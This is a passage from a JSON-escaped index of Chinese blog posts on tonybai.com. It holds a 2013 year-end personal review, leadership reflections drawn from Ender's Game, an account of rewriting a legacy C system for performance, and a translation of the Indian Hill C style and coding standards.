Bai\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003e晚上回到家，家人端上来热腾腾的饭菜。吃了几口，感觉味道较为普通。盘子里那些被加工过的食材是昨天刚刚买到的，又好又新鲜。顿然一种可惜的赶脚油然而 生。为什么这么上好新鲜的食材经过家人的烹制就变得这么普通了呢，仅仅是变成了充饥之用。而这些食材在大厨手下却能妙笔生花，做出让人流连忘返的精美菜 肴。我不是很懂厨艺，但总觉的大厨烹制菜肴的过程与\u003cstrong\u003e领导\u003c/strong\u003e团队做一个项目或开发一款产品有着相似的内涵。小小厨房中蕴含着某些大道理，值得我在这里深思一番。\u003c/p\u003e","title":"厨房里的领导课"},{"content":"2013年的个人年终总结比以往来得晚了一些，至于原因，我也说不清楚，拖延症也罢，其他原因也罢，总之是晚了。\n写年终小结已经有小几年了，风格一直如一，无非是老三样：工作得失、生活酸甜以及新年展望，今年也不利外。\n* 工作篇\n我们部门在所在行业里已经摸爬滚打了10多年了，经 历和见证了这个行业从诞生、增长、成熟到如今的衰退的整个过程。也正是由于处于行业的衰退期，2013年部门的运营十分艰难。十年对于任何一个行业来说， 可能都已经过了其巅峰期，真心不能再期望这个行业还能会有下一个高峰了，对于个人来说也是如此。转型、业务突破变成了领导常挂在嘴边的词汇，但做起来又何 其艰难。\n2013年，我们的业务转型依旧是围绕着我们的“金主”，虽然他们的业务营收也受到了微信等OTT业务的极大影响，传统业务投资也在缩减。对于个人而言， 除了负责传统产品线，转型、业务突破也成了我的绩效目标的一部分。于是在2013年，写文档比写代码多了一点，出差比常年多了一点，周六周日的连续加班也 多出了一点。在这些尝试中，以5月份某运营商某信的重构项目最为让人印象深刻。为了这个合同额几个亿的项目，我们近30人连续奋战了一个多月编写技术建议 书和投标方案，过程辛苦但却颇感充实，最终我们拿到了两个第二、两个第三的成绩。也许这个结果对于公司来说算是一种失败，但对于我个人来说，我获得了些许 转型的信心，以至于在后续的几次投标资料编写过程中，面对较新的领域，我也可以镇定自若。\n掐指算来，这一年我以咨询顾问的临时角色参与了8个大大小小项目的前期交流以及投标支持工作，其中六个标以失败或不了了之而告终，还有两个标尚未有最终结 果。对于这样的结果，我也只能表示无奈。虽然我心里也十分清楚，对于国内这类解决方案项目的投标，技术往往不是最重要的，况且对于这些新领域，我们的技术 储备还不够系统，积累较为浅薄，落地的也的确较少。但面对这样的局面，我们还能怎么做呢？我也期待新一年能得到一个新的答案。\n当然2013的工作中不全是遗憾，年末之前新系统的上线算是为我的2013划上了一个还算不错的句号，毕竟这是我两年来为之付出最多，也是最重要的一个工作目标。另外2013年继续整理和总结自己的一些管理经验和工作原则。在过程方面继续深入改善，尤其在代码质量方面。\n在技术精深方面，今年没有太多进步。年初的时候曾探讨过如何在现有项目中使用一些成熟的开源技术和产品，比如memcached、zookeeper等， 为了保持手热，还尝试做些算法类的编码，这个在experiments库中有体现。在其他方面，可谓是“三无状态”：无技术书籍翻译、无技术杂志投稿、无 新开源项目发起。另外今年没有尝试去学习什么新语言，理由在此。\n在年末的绩效评审时，观察到一些现象：那些绩效最末尾的人，往往并非是自身不够努力，而是领导赋予的目标不明确，这会给下属带来更多的不安，多数下属也会因为工作目标的不明确，而表现出更为糟糕的绩效。\n* 生活篇\n我个人十分注重工作和生活的平衡，不知道这种理念对于一个革命尚未成功的人来说算不算正确。\n今年写了56篇博文，只完成了计划值的3/4，算是可接受范围，博文质量有所提升，访问次数和评论反馈也多了许多。文章以技术理解偏多，深入的偏少。技术攻关还是留给年轻人去吧。另外就是经验总结和感悟偏多，这也许与工作年头多有关系吧。\n读书方面，据豆瓣不完全统计一共读了61本，这照比去年要多出不少，想必是有了Kindle PaperWhite的缘故吧，使得碎片时间得到充分利用。技术、商业书籍依旧占较大比例，小说尤其是科幻小说也不少。同样是因为电子书，今年纸质书籍购 买减少了（痛定思痛后的决定），双十一、双十二以及圣诞促销均没有出手。不过豆瓣上想读的书单依旧还有上百本^_^，任重道远啊。\n今年爱上了跑步，坚持到11月末，因出差和天气转深寒等原因，决定暂停一段时间，等春节后气温回升时再拾起这个好习惯，相信不是大问题。跑步的确让我的身体状况大为好转，至少感冒次数大为下降。\n今年的一些家庭目标也多已实现，比如和老婆一起去香港、带孩子去海边玩等。数码装备也更新了一圈。\n果果这个小家伙那叫一个茁壮成长啊。年中给她换了一个大的幼儿园，她也变得十分喜欢和小朋友在一起玩了，有时候还觉得在家里没有意思。每周果果还要上一节 她最喜欢的舞蹈课，我们的初衷就是让她多与小朋友老师接触，也不指望她能学出什么样子来，不过她学得倒是有模有样，十分认真。现在的果果简直就是一个小大 人，每天从早到晚说个不停，精力那叫一个充沛，有时候不得不强迫她去睡觉^_^。\n* 新年展望\n感觉这一年的进步有些差强人意，心底真心感觉自己的努力还是太少了，于是立下了“少睡觉，多干活”的目标。\n新的一年，无论是个人还是工作，都要更多的思考如何将知识、技能和经验转化为更多价值，如何将业务经验、技术积累转化为合同。\n新的一年，要主动适应转型，无论是工作上的还是个人方向上的，争取在这一年里能找到正确的方向，并成功入门。最好给自己做一个三年到五年的布局。\n新的一年，尝试继续保持生活与工作的平衡，也许这将变成一种奢侈的期望。\n新的一年，还有什么比全家健康快乐更重要的呢。\n","permalink":"https://tonybai.com/2014/01/04/my-summary-of-2013/","summary":"\u003cp\u003e2013年的个人年终总结比以往来得晚了一些，至于原因，我也说不清楚，拖延症也罢，其他原因也罢，总之是晚了。\u003c/p\u003e\n\u003cp\u003e写年终小结已经有小几年了，风格一直如一，无非是老三样：工作得失、生活酸甜以及新年展望，今年也不利外。\u003c/p\u003e","title":"2013小结"},{"content":"指挥官必须有良好的精神素质，必须具备果敢、坚定的性格和冷静的智慧；必须了解和 学习控制部队对于死亡和痛苦的反应。\n— 克劳塞维茨 《战争论》\n指挥，看起来并非是程序员的本职工作。\n在公司里我是一个技术管理者，更多地从事技术研究、项目管理、团队建设、任务分配以及员工辅导等方面的工作，有时又兼职需求分析或产品经理等。但 在产品大版本的现场实施环节，我会临时被赋予一个新工作 – 指挥。这次新系统在客户现场上线，我就体验了一把指挥官的角色。\n相信没有哪个程序员在学校里学过指挥课程，基本都是“跟着感觉走”。这次实施后我恰好读了《安德的游戏》一书，读到安德的指挥经历，产生了一些 共鸣。遂想在这里说道说道。\n归纳起来，一名合格的现场指挥官至少应该具备以下条件：\n* 切实地掌控全局信息\n如果用战争来做比喻的话，作为指挥官的你要知道战场范围、敌我实力态势、战役目标和战略意图、意义和策略、敌方惯用战术、我方的优势与不足等。这些信息是你指 挥决策的基础。作为系统现场实施这种“战役”而言，指挥者应切实了解系统能力、上线策略、业务影响、实施人员水平、保障准备、“战役”进展、问题现状与影响、回退时机等。这些信息可以保存在指挥者的大脑里，也可以通过工具可视化的展示出来。\n如果大家对指挥没有概念的话，可以回顾一下近期大家在媒体上看到过的指挥场面，比如双十一的淘宝/天猫；比如嫦娥3号落月等。\n* 准备、准备再准备\n“大军未动，粮草先行”。各种准备工作是否科学精细、周全完备，是任务是否能顺利完成的关键前提。在书中安德为新战术、新策略组织针对性的演练，指挥官在演练中找问题，寻求更合理的组队分工以及对突发情况的处理预案。\n* 充分了解下属个体的特点，让任务有的放矢\n这点在安德身上体现明显。书中安德经过观察发现飞龙战队中的比恩更适合带小部队突击，而哥们阿莱更擅长战略，甚至可以是自己的替身。只有充分了解下属的特点后，才能让他们发挥出自己100%的水准，任务的分配也就自然很清晰了，指挥官的战术意图更易达成。\n* 指挥官应该快速做出最优决策，切莫受他人的影响，必要时让其他人闭嘴\n既然被任命为指挥官，你拥有最大的权力，当然也有最大的责任。任命你为指挥官，显然大家认为你是最优秀的，体现出上下对你的信任。你的决定会被认为是当时的最优决策。因此在实际临场指挥中，切记保持清醒的大脑，根据得到的真实信息，快速作出决策。\n切记决策莫受他人影响，必要时让所有人闭嘴。当然其他人可以提出自己的意见和建议，但关键时刻，你要坚持你的想法和判断，坚持你自己的原则。一般来说你总是对的。相反，有原则，不坚持都是白扯。\n书中虽然没有强调过安德的决策受到过其他人的影响，但对安德决策产生过程的描述还是很扣人心弦的。\n* 打破常规，破除思维定势和规则束缚\n“按部就班”的指挥只能让你达到普通指挥官的水准（比如书中的火蜥蜴战队的队长马利德），一流的指挥往往内含创新。这样的指挥官敢于打破常规，破除思维定 势和规则束缚。就像书中安德那样，先后发明了“脚前身体在后”、“绳索”、、灵活使用集群进攻模式、“小队”突击、“四小队改五小队“等极具创新的新颖的 指挥战术。在这些新战术下，那些墨守成规的战队一一败下阵来。\n* 学会观察团队成员表现\n越是在关键的“战役”中，越能看到团队成员的真实实力和表现。越是繁忙、越是压力山大，我们看到的就越真实。观察大家是如何在过程中完成他们各自的任务的？他们的抗压能力如何？是否临阵不乱，触乱不惊？是否是传说中的“大赛型选手”？等等。\n作为指挥官，你拥有这样一个好机会去了解你的团队成员。安德是这方面的高手，他善于在战斗比赛过程中观察队员的表现，并根据个人特点在后续委以重任。\n* 持续总结与改进\n没有什么“最后的战斗”！因此我们总是要为下一次战斗做好准备。这就要求指挥官们在每次战斗结束后，学会总结，发现不足，思考改进。长此以往，你会取得一 个又一个胜利。书中的安德是整个战斗学校最擅长在每次战斗比赛后复盘并自我总结和改进的选手，他知道如何从敌人的视角发现自己指挥上的不足和漏洞，思考在 下次战斗中如何规避和改进。他还会复盘和分析其他指挥官在比赛使用的战术，并消化、改良后为自己所用，他也因此了解其他指挥官的指挥弱点。\n* 其他\n指挥官在指挥过程中务必得到真实准确的信息反馈，错误的、有偏差的信息将导致指挥者作出错误的决策。因此在准备工作中，就应该建立好真实信息的反馈渠道，定义信息的反馈频度和展现形式。\n指挥的成功还依赖团队成员的执行力。没有好的执行力，再好的指挥可能都不会达成理想的战术意图，甚至可能因此而输掉全局。执行力不会在实施过程中突然迸发出来，显然它需要在平时养成。个体执行力强弱取决于两个要素：个人能力和工作态度。其中能力是基础，态度是关键。个体执行力是指挥官在日常准备、训练过程中务必要关注的。\n说实话，指挥官这个角色的确能给我带来一些小兴奋，事成之后的成就感也是蛮充实的。以后再有机会偶尔客串一下，也未尝不可^_^。\n","permalink":"https://tonybai.com/2013/12/27/learn-how-to-command-from-ender/","summary":"\u003cp\u003e\u003cem\u003e指挥官必须有良好的精神素质，必须具备果敢、坚定的性格和冷静的智慧；必须了解和 学习控制部队对于死亡和痛苦的反应。\u003cbr\u003e\n                                                                                                           — 克劳塞维茨 《战争论》\u003c/em\u003e\u003c/p\u003e","title":"向安德学指挥"},{"content":"一切没有目标的努力，都是瞎忙活儿。\n- Tony Bai\n刚实施回来，就又投入到新工作中，到今天才有那么一点点时间写写这件事儿。\n* 缘起\n我们的遗留系统性能一直不高，导致这一局面的因素有很多，比如最初设计和实现的“考虑不足”、后续维护人员的“随波逐流”甚至缺少勇气对影响性能的关 键代码进行重构等等。技术债务就这样一直积累着。直到两年前，我们终见其导致的巨大的影响了。\n由于客户方成本压缩，单节点性能低意味着需要更多的硬件投入，并连带着报价升高，导致我们的产品市场竞争力下降。而竞争对手产品的性能是我们的 3-5倍，这终于引起了领导的重视，并下达了开发高性能版本的任务命令。\n* 抉择\n遗留系统的问题有很多，性能差仅仅是表象之一。可维护性差更让人印象深刻。遗留系统就像一件打满补丁的旧衣裳，虽然依旧能穿着遮体御寒，但却让我 们时刻战战兢兢，生怕一个动作会导致它解体，变得支离破碎。\n对于我们这样一个mission-critical的系统来说，开发周期显然是不会短的。在性能达标的同时，更为重要的是保证产品的质量，确保上 线后运行稳定。因此摆在我们面前有两条路：\n1、在遗留系统上做“大修” – 大规模重构；\n2、重写，把构成系统的骨架重新设计和实现，使它能够足够坚固，满足在“高速公路”上驰骋的要求。\n我们最终选择了重写，也就是风险较大的那条路。在我们的理解中，重写软件就好比汽车升级平台，就像大众将传统的PQ25、PQ35等统统升级为 MQB平台那样。平台的升级，不光影响技术，还会影响方方面面，比如团队的能力、思维方式、合作模式以及团队过程改善等等。做 得好的话，会使整个团队迈上一个新台阶，这是原地修补所不能够带来的。\n对于我个人来说，这也是我期望中的实验田，我将把之前研究的诸多实践落地，帮助团队提升能力。\n自私地说，重写系统也是我的一个小理想，能遇到这样一个从无到有构建一个系统的机会是不多的，因此很是希望能看到一个系统一点一点的在自己的呵护 下“成长”起来。虽然我也清楚完成这样一个系统需要很长时间，而这期间我可能需要时刻紧绷着神经，直到系统正式上线后，才能感受到那一抹释然。\n* 建立“骨架(skeleton)”\n我们将项目分成两个阶段：建立系统“骨架”和为系统“添肉”，即添加业务逻辑。\n系统的性能目标是原遗留系统的10倍，这样我们建立的骨架的性能至少要高于原遗留系统的10倍。在“添肉”之前我们要充分证明骨架的设计是合理、 有效、稳定和高性能的。\n遗留系统性能低，并非因为当初的设计者能力有什么问题，更多是局限于当初的设计目标。系统初期业务量不大，接入的外部网元不多，因此系统大量使用 了链表这种简单但低效的数据结构；为了easy coding，当初的设计者选择了全局大锁；在客户端-服务器处理模型上，选择了一个连接一个进程的“高耗能”模式。最初这样的设计应对当年的业务量也是 绰绰有余的，但应付今天的业务规模就显得颇为捉襟见肘了，以至于我们不得不通过罗列机器来满足业务增长的状况。服务器增多，却导致了我们维护 和监控难度的增加。\n为了应付现有业务量规模以及未来若干年的业务量增长，我们的新系统的骨架在设计时显然要扬长避短：\n– 我们重新设计了通用的服务端框架和客户端框架，使得系统各个业务模块采用相同的通信处理机制；\n– 我们没有选择线程，而是依旧采用成熟的进程（资源隔离式） + IO多路复用（linux下epoll机制）的服务器-客户端模型，与以往不同的是，我们在每个进程中处理多个链接，设定进程数量在合理水平，避免大量上下文切换带来的性能损耗；\n– 将传统的全局big lock更换成了细粒度锁；\n– 采用高效的数据结构和算法，比如用hash和array替代掉list等；\n– 用简单队列替换掉原先复杂的队列调度结构，降低代码理解难度和后续维护门槛。\n– … …\n我们要求对骨架代码进行严格的单元测试，通过lcut为骨架代码建立起单元测试集，并结合持续集成对骨架代码进行持续的单元测试验证。\n骨架完成后，我们对其进行了全面的压力测试，确保其性能水平达到我们设计要求，这是我们进入下一阶段的前提条件。\n* 添肉(business logic)\n有了稳定、可靠、高效的骨架，我们在”添肉“阶段就更加有信心了。用C写纯业务逻辑是苦逼了一些，但还好我们没有全部将以前遗留代码扔掉，我们为了保证功 能Feature不丢失，我们会尽量复用之前的业务逻辑，当然是“规范地”搬到新系统中的，尽可能地去除原有代码中的Bad smell。\n与骨架相比，业务逻辑相对复杂，且耦合较多，因此对这些业务逻辑做单元测试真是一件让人头疼的事情。不过这也和我们最初的估计相符，最初制定的策略就是对骨架代码做高覆盖，对业务代码则宽松些，尽量覆盖即可。\n* 附加实践\n就像前面所说的那样，围绕着这次重写系统，我策划了很多实践有了落脚之地，包括：\n– 试点知识管理 ：通过这次重写，建立起关于该系统的知识库；\n– 增加基于ReviewBoard的在线代码评审环节；\n– 引入基于Jenkins的持续集成；\n– 重新思考和设计构建环节，通过buildc提高构建效率；\n– 重新设计通用安装包；\n– 使用LCUT对骨架进行单元测试覆盖；\n– 规范commit log以及代码提交流程；\n– 应用代码风格检查工具，使得所有代码风格一致。\n事实证明上述实践在这次系统重写的过程中产生了很好的效果，尤其在代码质量保证方面，系统上线后的结果也恰恰印证了这一点。\n* 上线\n“丑媳妇总要见公婆”。我们的新系统也到了该上线服务的时候了。为了这次上线，我们做了较为充分的实施准备，无论是人员还是时间，都有倾向性的向这个系统 投入。我们也提前做好了应对各种突发问题的预案。可实际情况出乎预料，与遗留系统的版本升级相比，这次全新系统上线显得十分顺利，系统的核心相当稳定，出 现的一些问题也都比较边缘，对这次成功上线已经不构成什么影响了。\n* 那一抹释然\n在实施人员庆贺上线成功时，在领导口头表扬时，我的内心却显得十分平静。对于新系统来说，这是一个好的开始。对我个人来说，我感受到了那一抹期望已久的释 然。在这个领域里这个方向上已经摸爬滾打了多年，虽然还有好多地方需要改进，好多实践需要完善，但我的内心告诉我：“够了”、“已经没什么牵挂了”、“是 时候换换方向、换换领域了”、“让其他人去做吧”。我已经在产品和团队中融入了我的思想，我相信他们都能很好的演化和发展。而我则为接受新思想、新领域做 好了准备。\n的确也到了为自己设立新目标的时候了！\n","permalink":"https://tonybai.com/2013/12/26/just-for-being-relieved/","summary":"\u003cp\u003e\u003cem\u003e一切没有目标的努力，都是瞎忙活儿。\u003c/em\u003e\u003cbr\u003e\n                                                    \u003cem\u003e- Tony Bai\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003e刚实施回来，就又投入到新工作中，到今天才有那么一点点时间写写这件事儿。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e* 缘起\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e我们的遗留系统性能一直不高，导致这一局面的因素有很多，比如最初设计和实现的“考虑不足”、后续维护人员的“随波逐流”甚至缺少勇气对影响性能的关 键代码进行\u003ca href=\"http://en.wikipedia.org/wiki/Code_refactoring\"\u003e重构\u003c/a\u003e等等。技术债务就这样一直积累着。直到两年前，我们终见其导致的巨大的影响了。\u003c/p\u003e","title":"只为那一抹释然"},{"content":"“安德来了之后，我们必段保持一个巧妙的平衡。要让他保持一定程度的孤立，使他创造性不至于消失，否则他就会和这儿的整个团体融合在一起，我们会失去他的天赋。同时，我们也必须确定他有足够的能力去领导别人。”\n— 《安德的游戏》作者：奥森·斯科特·卡德\n上面的引述是《安德的游戏》一书中安德刚进入战斗学校时，格拉夫中校与安德森的对话中的一段内容。这段文字显然触动了我的神经，因为在现实的生活和工作中，我也有与格拉夫中校相似的体会。\n* 团队就像一个大熔炉\n以前听说过军队就是一个大熔炉，再烂的材料似乎都能被锻炼成精兵。有一定道理，但我们也看到了子弟兵们的“歪风邪气”，想必也是熔炉锻造的结果了。也就是 说熔炉将材料的属性，无论好与坏都或多或少的在每个个体上有所体现了。这样一来，如果原料都是优质的，优点通过团队这个熔炉就能充分传播，形成优良的团队 作风和习惯。相反，优劣程度不一的材料经过熔炉的锻造，最终结果是谁的属性站了上风，那就要看谁的属性更加强势了。但由于人的惰性、喜欢安逸等与生俱来的 “特点”，人更容易选择“下坡路“。这好似地球上的风，起到削峰填谷的作用，在外界条件一成不变的情况下，团队走向“平庸”，优秀成员的创造力渐渐萎靡， 思维之火花逐渐熄灭。创造力变成了墨守成规，因循守旧和固步自封。就像安德眼中的战斗学校中的一些战队和指挥官那样。\n* 站在第三方的视角观察团队运作与成员创造力\n“不知庐山真面目，只缘身在此山中”。很多时候，由于深处团队之内，团队的Leader也往往无法发现团队中正在发生的负面变化 – 逐渐失去创造力，渐渐地不再有新点子、新想法、新工具，新实践。大家也许依旧忙碌，但总感觉缺点啥。要想发现这些变化，团队Leader或成员要学会跳出 圈圈，去站在第三方的视角观察团队运作，嗅一嗅团队内部发酵出来的bad smell。就像书中天才少年安德那样在每次战斗比赛结束后或旁观时，都会站在敌方的角度去分析战斗策略应用是否得当。另外识别出团队内那些善于发挥创造 力的成员是十分重要的，他们是团队的火车头，他们引领着团队的前进步伐，他们的发挥决定着团队的先进性。就像书中的阿莱、比恩、丁.米克等人那样。\n*** 主动为创造力的保持制造空间、**寻找平衡\n在影视剧或现实生活中都有这样的案例：那些秉复异常，极具创造力的家伙往往无视规矩，独来独往，与团队看起来并非那么和谐默契。现在看来这是他们自己建立 的一种自我空间，他们可能站得更高，看得更远，不愿经历“团队熔炉”锤炼而丧失部分自我，尤其是其独辟奚静，与现存习惯不符或相悖的创造思维，他们要与团 队保持一定距离，走在团队的前面。而我们的确需要这样的人。\n书中格拉夫中校是一位懂得主动为创造力的保持制造空间和寻找平衡的好伯乐，甚至在安德未进入战斗学校之前就定下了教学策略：让安德保持一定的孤立，以保持 其创造性。他是每个团队Leader都应该学习的榜样。对于团队内那些具有创造力的组员，我们要主动给他们提供创新萌芽的空间和土壤，尽量保证不要被团队 的某些Bad smell侵入，让创造展现出原汁原味。\n在崇尚“团队合作”的今天，一切有悖团队习惯的行为可能都会被认为是不专业的、不胜任的。提出一个打破团队“习惯”的所谓创造性实践，很可能会被认为对团 队以及团队领导的挑衅，导致团队内部出现裂痕。这更需要我们学会主动在创新和团队之间寻找平衡，去化解团队内部的不信任和猜疑。让团队看到创新的威力，让 创新更多结合团队的实际情况。\n* 重构团队\n有些时候，我们需要牺牲团队，保持创造。那些无丝毫创造力的团队就像活锁(livelock)一般，大家都在忙，但make no progress。对于这类团队，应该施加一定的外部条件，打破团队“和谐”的状态。也许重构是一个很好的办法。将那些之前富有创造力但“彻底融入”团队 的成员分离出来，给予独立空间，尝试重新激活。至于其余成员，打乱重组未尝不是一个好方法。\n这篇文章可能会引发争议。就像格拉夫对安德的训练方法那样，有赞成，也有恶评。\n","permalink":"https://tonybai.com/2013/12/21/the-balance-between-team-and-creativity/","summary":"\u003cp\u003e\u003cem\u003e“安德来了之后，我们必段保持一个巧妙的平衡。要让他保持一定程度的孤立，使他创造性不至于消失，否则他就会和这儿的整个团体融合在一起，我们会失去他的天赋。同时，我们也必须确定他有足够的能力去领导别人。”\u003cbr\u003e\n                                                                    — 《\u003ca href=\"http://book.douban.com/subject/1140727/\"\u003e安德的游戏\u003c/a\u003e》作者：奥森·斯科特·卡德\u003c/em\u003e\u003c/p\u003e","title":"团队与创造的平衡"},{"content":"今天无意中打开了托管在Google Code上的“Recommended C Style and Coding Standards”翻译项目，忽感觉通过目录链接的方式查看译文缺少整体感，于是花了点时间将译文全文以single page的形式贴在博客里面，方便大家查看，也算是对该翻译内容的一个备份吧。\nC语言编码风格和标准\n0. 摘要\n本文翻译自《Recommended C Style and Coding Standards》。\n作者信息：\nL.W. Cannon (Bell Labs)\nR.A. Elliott (Bell Labs)\nL.W. Kirchhoff (Bell Labs)\nJ.H. Miller (Bell Labs)\nJ.M. Milner (Bell Labs)\nR.W. Mitze (Bell Labs)\nE.P. Schan (Bell Labs)\nN.O. Whittington (Bell Labs)\nHenry Spencer (Zoology Computer Systems, University of Toronto)\nDavid Keppel (EECS, UC Berkeley, CS\u0026amp;E, University of Washington)\nMark Brader (SoftQuad? Incorporated, Toronto)\n本文是《Indian Hill C Style and Coding Standards》的更新版本，上面提到的最后三位作者对其进行了修改。本文主要介绍了一种C程序的推荐编码标准，内容着重于讲述编码风格，而不是功能 组织(Functional Organization)。\n1. 简介\n本文档修改于AT\u0026amp;T Indian Hill实验室内部成立的一个委员会的一份文档，旨在于建立一套通用的编码标准并推荐给Indian Hill社区。\n本文主要讲述编码风格。良好的风格能够鼓励大家形成一致的代码布局，提高代码可移植性并且减少错误数量。\n本文不关注功能组织，或是一些诸如如何使用goto的一般话题。我们尝试将之前的有关C代码风格的文档整合到一套统一的标准中，这套标准将适合于 任何使用C语言的工程，当然还是会有部分内容是针对一些特定系统的。另外不可避免地是这些标准仍然无法覆盖到所有情况。经验以及广泛的评价十分重 要，遇到特殊情况时，大家应该咨询有经验的C程序员，或者查看那些经验丰富的C程序员们的代码(最好遵循这些规则)。\n本文中的标准本身并不是必需的，但个别机构或团体可能部分或全部采用该标准作为程序验收的一部分。因此，在你的机构中其他人很可能以一种相似的风 格编码。最终，这些标准的目的是提高可移植性，减少维护工作，尤其是提高代码的清晰度。\n这里很多风格的选择都有些许武断。混合的编码风格比糟糕的编码风格更难于维护，所以当变更现有代码时，最好是保持与现有代码风格一致，而不是盲目 地遵循本文档中的规则。\n\u0026ldquo;清晰的是专业的；不清晰的则是外行的\u0026rdquo; — Sir Ernest Gowers\n2. 文件组织\n一个文件包含的各个部分应该用若干个空行分隔。虽然对源文件没有最大长度限制，但超过1000行的文件处理起来非常不方便。编辑器很可能没有足够 的临时空间来编辑这个文件，编译过程也会因此变得十分缓慢。与回滚到前面所花费的时间相比，那些仅仅呈现了极少量信息的多行星号是不值得的，我们 不鼓励使用。超过79列的行无法被所有的终端都很好地处理，应该尽可能的避免使用。过长的行会导致过深的缩进，这常常是一种代码组织不善的症状。\n2.1 文件命名惯例\n文件名由一个基础名、一个可选的句号以及后缀组成。名字的第一个字符应该是一个字母，并且所有字符(除了句号)都应该是小写的字母和数字。基础名 应该由八个或更少的字符组成，后缀应该由三个或更少的字符组成(四个，如果你包含句号的话)。这些规则对程序文件以及程序使用和产生的默认文件都 适用(例如，\u0026ldquo;rogue.sav\u0026rdquo;)。\n一些编译器和工具要求文件名符合特定的后缀命名约定。下面是后缀命名要求：\nC源文件的名字必须以.c结尾\n汇编源文件的名字必须以.s结尾\n我们普遍遵循以下命名约定：\n可重定位目标文件名以.o结尾\n头文件名以.h结尾\n在多语言环境中一个可供选择的更好的约定是用语言类型和.h共同作为后缀(例如，\u0026ldquo;foo.c.h\u0026rdquo; 或 \u0026ldquo;foo.ch\u0026rdquo;)。\nYacc源文件名以.y结尾\nLex源文件名以.l结尾\nC++使用编译器相关的后缀约定，包括.c，..c，.cc，.c.c以及.C。由于大多C代码也是C++代码，因此这里并没有一个明确的方案。\n此外，我们一般约定使用\u0026quot;Makefile\u0026quot;(而不是\u0026quot;makefile\u0026quot;)作为make(对于那些支持make的系统)工具的控制文件，并且使 用\u0026quot;README\u0026quot;作为简要描述目录内容或目录树的文件。\n2.2 程序文件\n下面是一个程序文件各个组成部分的推荐排列顺序：\n文件的第一部分是一个序，用于说明该文件中的内容是什么。对文件中的对象(无论它们是函数，外部数据声明或定义，或是其他一些东西)用途的描述比 一个对象名字列表更加有用。这个序可选择地包含作者信息、修订控制信息以及参考资料等。\n接下来是所有被包含的头文件。如果某个头文件被包含的理由不是那么显而易见，我们需要通过增加注释说明原因。大多数情况下，类似stdio.h这 样的系统头文件应该被放在用户自定义头文件的前面。\n接下来是那些用于该文件的defines和typedefs。一个常规的顺序是先写常量宏、再写函数宏，最后是typedefs和枚举 (enums)定义。\n接下来是全局(外部)数据声明，通常的顺序如下：外部变量，非静态(non-static)全局变量，静态全局变量。如果一组定义被用于部分特定 全局数据（如一个标志字），那么这些定义应该被放在对应数据声明后或嵌入到结构体声明中，并将这些定义缩进到其应用的声明的第一个关键字的下一个 层次(译注：实在没有搞懂后面这句的含义)。\n最后是函数，函数应该以一种有意义的顺序排列。相似的函数应该放在一起。与深度优先(函数定义尽可能在他们的调用者前后)相比，我们应该首选广度 优先方法(抽象层次相似的函数放在一起)。这里需要相当多的判断。如果定义大量本质上无关的工具函数，可考虑按字母表顺序排列。\n2.3 头文件\n头文件是那些在编译之前由C预处理器包含在其他文件中的文件。诸如stdio.h的一些头文件被定义在系统级别，所有使用标准I/O库的程序必须 包含它们。头文件还用来包含数据声明和定义，这些数据不止一个程序需要。头文件应该按照功能组织，例如，独立子系统的声明应该放到独立的头文件 中。如果一组声明在代码从一种机器移植到另外一种机器时变动的可能性很大，那么这些声明也应该被放在独立的头文件中。\n避免私有头文件的名字与标准库头文件的名字一样。下面语句：\n#include \u0026ldquo;math.h\u0026rdquo;\n当预期的头文件在当前目录下没有找到时，它将会包含标准库中的math头文件。如果这的确是你所期望发生的，那么请加上注释。包含头文件时不要使 用绝对路径。当从标准位置获取头文件时，请使用包含头文件；或相对于当前路径定义它们。C编译器的\u0026quot;include- path\u0026quot;选项(在许多系统中为-l)是处理扩展私有库头文件的最好方法，它允许在不改变源码文件的情况下重新组织目录结构。\n声明了函数或外部变量的头文件应该被那些定义了这些函数和变量的文件所包含。这样一来，编译器就可以做类型检查了，并且外部声明将总是与定义保持 一致。\n在头文件中定义变量往往是个糟糕的想法，它经常是一个在文件间对代码进行低劣划分的症状。此外，在一次编译中，像typedef和经过初始化的数 据定义无法被编译器看到两次。在一些系统中，重复的没有使用extern关键字修饰的未初始化定义也会导致问题。当头文件嵌套时，会出现重复的声 明，这将导致编译失败。\n头文件不应该嵌套。一个头文件的序应该描述其使用的其他被包含的头文件的实用特性。在极特殊情况下，当大量头文件需要被包含在多个不同的源文件中 时，可以被接受的做法是将公共的头文件包含在一个单独的头文件中。\n一个通用的做法是将下面这段代码加入到每个头文件中以防止头文件被意外多次包含。\n#ifndef EXAMPLE_H\n#define EXAMPLE_H\n… /* body of example.h file */\n#endif /* EXAMPLE_H */\n我们不应该对这种避免多次包含的机制产生依赖，特别是不应该因此而嵌套包含头文件。\n2.4 其他文件\n还有一个惯例就是编写一个名为\u0026quot;README\u0026quot;的文件，用于描述程序的整体情况以及问题。例如，我们经常在README包含程序所使用的条件编译 选项列表以及相关说明，还可以包含机器无关的文件列表等。\n4. 声明\n全局声明应该从第一列开始。在所有外部数据声明的前面都应该放置extern关键字。如果一个外部变量是一个在定义时大小确定的数组，那么这个数 组界限必须在extern声明时显示指出，除非数组的大小与数组本身编码在一起了(例如，一个总是以0结尾的只读字符数组)。重复声明数组大小对 于一些使用他人编写的代码的人特别有益。\n指针修饰符*应该与变量名在一起，而不是与类型在一起。\nchar *s, *t, *u;\n替换\nchar* s, t, u;\n后者是错误的，因为实际上t和u并未如预期那样被声明为指针。\n不相关的声明，即使是相同类型的，也应该独立占据一行。我们应该对声明对象的角色进行注释，不过当常量名本身足以说明角色时，使用#define 定义的常量列表则不需要注释。通常多行变量名、值与注释使用相同缩进，使得他们在一列直线上。尽量使用Tab字符而不是空格。结构体和联合体的声 明时，每个元素应该单独占据一行，并附带一条注释。{应该与结构体的tag名放在同一行，}应该放在声明结尾的第一列。\nstruct boat {\nint wllength; /* water line length in meters */\nint type; /* see below */\nlong sailarea; /* sail area in square mm */\n};\n/* defines for boat.type */\n#define KETCH (1)\n#define YAWL (2)\n#define SLOOP (3)\n#define SQRIG (4)\n#define MOTOR (5)\n这些defines有时放在结构体内type声明的后面，并使用足够的tab缩进到结构体成员成员的下一级。如果这些实际值不那么重要的话，使用 enum会更好。\nenum bt { KETCH=1, YAWL, SLOOP, SQRIG, MOTOR };\nstruct boat {\nint wllength; /* water line length in meters */\nenum bt type; /* what kind of boat */\nlong sailarea; /* sail area in square mm 